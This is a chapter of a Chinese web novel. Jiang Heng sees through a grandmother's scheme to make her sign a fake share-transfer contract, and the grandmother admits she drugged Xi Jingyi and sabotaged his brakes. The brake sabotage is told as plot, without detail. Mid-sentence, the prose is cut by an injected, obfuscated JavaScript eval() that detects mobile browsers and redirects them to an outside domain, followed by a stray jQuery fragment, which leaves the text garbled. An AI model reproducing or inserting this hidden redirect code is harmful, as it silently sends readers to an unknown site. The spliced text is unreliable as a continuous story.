往后几天，只要姜姮没去跟着节目组一起排练，总能在家里被郎姻梅开小灶教导。进步神速，在录制的前一天下午，郎姻梅都已经挑不出错处了。
人一闲下来，脑子就容易胡乱思考。郎姻梅在餐桌上吃完一块蛋糕作为补给后看向席景颐，“诶，阿景，你要不扮个唐明皇和阿姮对对？”
“我？”原还在跟姜姮用眼神斗嘴的席景颐反应过来，瞪大眼睛，“不行不行，我多久没唱了，现在这嗓子唱歌都五音不全。”
“阿姮应该没看你唱过吧？”
姜姮配合地摇摇头，“可惜了，从来没见过，愣是连张照片都没让我看见。”
“阿景小时候那模样别提多讨喜了，有机会我一定拿照片来给你看。”
两人嘻嘻哈哈全然顾不上一旁耳尖羞红的席景颐，小时候扮的那模样，谁还记得。生怕出糗，击垮了他在姜姮内心的高大形象。
《长生殿·小宴》演出当天，郎姻梅坐在席景颐身边的座椅上，看着自己带出来的学生，心里顿感欣慰。
“虽然她不完全是我的学生，但教她我成就感更强。”
席景颐看着台上那个穿着明黄色褶子的身影，“她很聪明，很多事情几乎是一教就会的。”
两人就这么安静地坐在导演安排的位置上看了半晌，待表演结束，郎姻梅看着下台的那个背影缓缓开口。
“我怀疑...她是琳琅的孩子。”
琳琅是郎姻梅唯一一个女儿，当年带孩子逛商场遇上抢劫犯，保姆为求自保把孩子丢在了商场里，后来琳琅便因为没了孩子，抑郁而终，不久后琳琅的丈夫也去世了。
至此，郎家彻底断后。
“她和琳琅太像了，我...”郎姻梅说到激动处有些哽咽，手里的纸巾被叠成一小块又被展开，“阿景，你可不可以，帮奶奶去查一下。”
席景颐正愁没机会求证自己的猜想，这会儿郎姻梅的求助对他来说是个好机会。如果赶在姜康宣布曲潇身份之前知道真相，那至少姜姮不会太难受。
席景颐应声，算是接下了这个活。
不过他要查的内容有很多，追本溯源一直要到郎家孙女丢失时的那家商场和那场抢劫案。
“你猜我查到了什么！”
关驰风尘仆仆地迈上二楼台阶，没忍住提前告诉席景颐真相。
席景颐看了眼三楼，“你小声点，查到什么了？”
“当年M百货大楼的那场抢劫案，犯罪嫌疑人是一男一女，两个华国人。”关驰打开随身携带的平板，“你看这两人眼熟不！”
平板里的是一张二十几年前的监控截图，还特意被还原修复过。与第二张的拘留所拍摄照片眉眼一致，与第三张的一对乡下夫妻的脸也一致。
“你说巧不巧，如果小嫂子真是郎家孙女，那这梁子可就大了。”
“前脚是抢男人，后脚又是抢身份，结果转了一圈发现这些苦全是曲家那两个老畜生干的。”
席景颐冷冷扫去一眼，“什么抢男人，谁跟谁抢男人，我们姜姮需要抢男人？”
关驰一噎，席景颐的敏感肌又出来作祟了。他讪笑道：“没有没有，你们姜姮不需要抢男人，你们姜姮的男人是自己送上门的。”
也不知道几个月前信誓旦旦说是盟友的人是谁。
叮叮——
席景颐把平板递回给关驰，从口袋里拿出手机，面色骤然沉了下去。
“怎么了？”
“我出去一趟，姜姮这里你帮我看一下，别让她出门。”
“不是，诶，这大晚上你去哪儿啊！”
席景颐说完话就跟阵风似的跑了，没留给关驰讲话的机会。那脸色挺吓人的，家里保镖这么多，姜姮正反也出不了什么事儿。
关驰思来想去，给楼下保镖头子嘱咐了几句，拿着钥匙也跑了出去。席景颐的车在关驰手机上都有定位，原本是为预防不时之需，这会儿正好派上用场。
—
来电提示是国外手机号，姜姮想也没想直接接起，听到那头秦月茹的声音还有些意外，“喂？啊，是狄奶奶啊，您最近身体好吗？”
“好的很，最近奶奶到波尔多来玩了，我听人说你也在，要不要出来陪奶奶逛逛街啊？奶奶好久没见你了。”
电话那头语气过于慈祥，让姜姮感觉有些割裂，仿佛几周前威胁席景颐的人不是她。
姜姮看着窗外的暮色出神，在不清楚席景颐计划的前提下，她也不好表现得太过于反常来引起这老太婆的注意。
“好啊奶奶，但是今天是不是太晚了？”
电话那头静默片刻，“那来奶奶这儿玩，奶奶派司机来接你。”
这老太太言辞中有些迫切，这种迫切不是单纯思念小辈，就跟今天姜姮不去肯定会出什么事情似的。
良久，姜姮才慢慢开口，“不用了奶奶，我不太清楚现在住的地址，您把地址发我，我来找您。”
跟秦月茹打交道可得留一个心眼都不止。
要是让这老太婆的人来接她，到时想逃都没得逃。
磨了半天，秦月茹终于松口把地址用短信发了过来，姜姮导入地图，乍一看也不算太远。换了套轻便的衣服，拿着车钥匙就出了门。
刚拿到国际驾照的姜姮没什么在波尔多当驾驶员的自觉，转速表拉到三十开个近光灯在路上晃悠悠开着，临近那条高速上与她同时出现的几台车早就跑进夜色里，不见踪影了。
开车去找秦月茹仿佛上刑，十来分钟的地图导航被姜姮硬生生拖到半小时开外。
“阿姮！奶奶可想死你了。”
姜姮脚都没下车，门就被从外头打开，染着红色指甲油的手指在车门上留下一道印记。酸涩的声音刺地姜姮耳朵疼心也疼，揉揉耳垂才扬起个假笑。
“奶奶~好久不见您了，上次见面还是我结婚的时候呢。”
哪壶不开提哪壶，姜姮看到那抹僵在老脸上的笑容心里这才好受些，“奶奶，您最近怎么波尔多玩了？”
“这不是听说你跟着阿景回来了吗？他爷爷不是个好相处的，奶奶担心你呀。”秦月茹拍拍她的手，带人往里走。
别墅肯定没庄园气派，可走到里面，姜姮愣怔几秒，“奶奶，这装修风格是...工业风？”
她环顾四周，颇有一种家徒四壁的既视感。就算席景颐断了秦月茹的左膀右臂，这老太太也不可能委屈自己住这样的屋子啊。
“这房子当年买了就没装修，最近资金链又断了，奶奶也是实在担心你才来的。”
好，姜姮又悟了。
这波卖惨是冲她来的。
两人走到一张灰色长沙发旁坐下。
旁边的老侍者被秦月茹打发到餐厅泡茶，老太太笑容一沉，那翡
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16049234|176322||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
翠镯子靠上姜姮的手臂，冰冰凉凉。
“阿姮，一舟不争气，奶奶原也是希望你能寻个好人，可你知道奶奶查到了什么吗？”
姜姮没说话，直勾勾盯着她，眼里满是不解。
“奶奶查到曲潇事件背后的主角其实是阿景！他虽然是我的外孙，可你更像是我的孙女，奶奶不能让你留在他身边！”
秦月茹捶胸顿足，一副懊悔的模样，“要是早点知道，就算拼了老命也不会让你嫁给他的。”
姜姮用脚想都能猜到秦月茹这一趟有什么目的，试探问道：“...可是，这些不都要证据吗？奶奶您有证据吗？”
“有啊，我怎么没有！你难道觉得奶奶会框你吗？”秦月茹捧上姜姮的双手，“他在婚礼上说的那些话你可别当真，他看中的是你的股份！”
“这个人心机颇深，心思缜密，就因为奶奶从小教育他，现在就记恨我反咬我一口，你说这种孩子，我怎么能留呢？”
秦月茹完全沉浸在自己的演技里了。
姜姮看了半天，抬手遮住自己的眼睛，开始哽咽：“奶奶，您怎么知道他...”
秦月茹：“奶奶知道你对一舟还有感情，这坏事儿算奶□□上，你和阿景离婚，一舟会接受你的。”
？
姜姮这回是彻底笑出来了。
这目的要不要说得再明显一点，好像就差把贪图她股份的事情摆在明面上了。
“狄..他不是有新的联姻对象了吗？”姜姮垂头，“我还是不去打扰了吧。”
“他们都算什么？奶奶只认你做儿媳妇，狄家的儿媳妇只有你一个人。”
秦月茹见姜姮迟疑，喊来一旁的侍者，“你帮我把那个股权转让协议拿来。”
“奶奶这儿有泰康百分之十的股份，可以转到你名下，这样是不是就相信奶奶说的了？奶奶年纪大了，也闯不动了，这点股份能留给你和一舟，就算奶奶走了你们也能傍身。”
先不说这股份多少的问题，那百分之三十早就划到狄一舟名下的事儿圈内皆知，哪儿还有她秦月茹的份？姜姮只朝那份合同上瞟一眼就看出不对劲，谁家合同首页连个甲乙方都不写？？
还好，当初为了签席景颐那份合同时学会的东西没忘记。
姜姮抹了抹不存在的眼泪，“还是奶奶好，这份合同我需要签哪里？”
手指刚打算往后翻一页，秦月茹就伸手压住那一角，根本没给她翻看的机会，直接翻到末尾处，让姜姮签在甲方的名字上。
姜姮：“...”
原主在秦月茹眼里是这么蠢的人吗？蠢到连股权转让协议的甲乙方都分不清谁是谁？
封面不盖戳，不填信息，现在更是直接让签甲方信息。
姜姮心里暗自翻了个白眼，接过老侍者递来的钢笔，刚要签上去笔尖又顿在纸上，“奶奶，我这样会不会太不道德了？”
秦月茹屏住的气随着姜姮的笔尖停顿又泄下，想再推波助澜一把，“你放心，过了今晚他就算再狂也是个废人了，泰康以后就是一舟和你的。快把这份合同签了吧。”
姜姮抓住字眼，手撑在那纸合同上，侧头看她，“为什么是过了今晚？”
秦月茹哼笑一声，摊开自己那五根手指欣赏起来，“他自己蠢，我用了点小手段，安眠药和动过手脚的刹车双管齐下，他能不能活过今晚都难说。”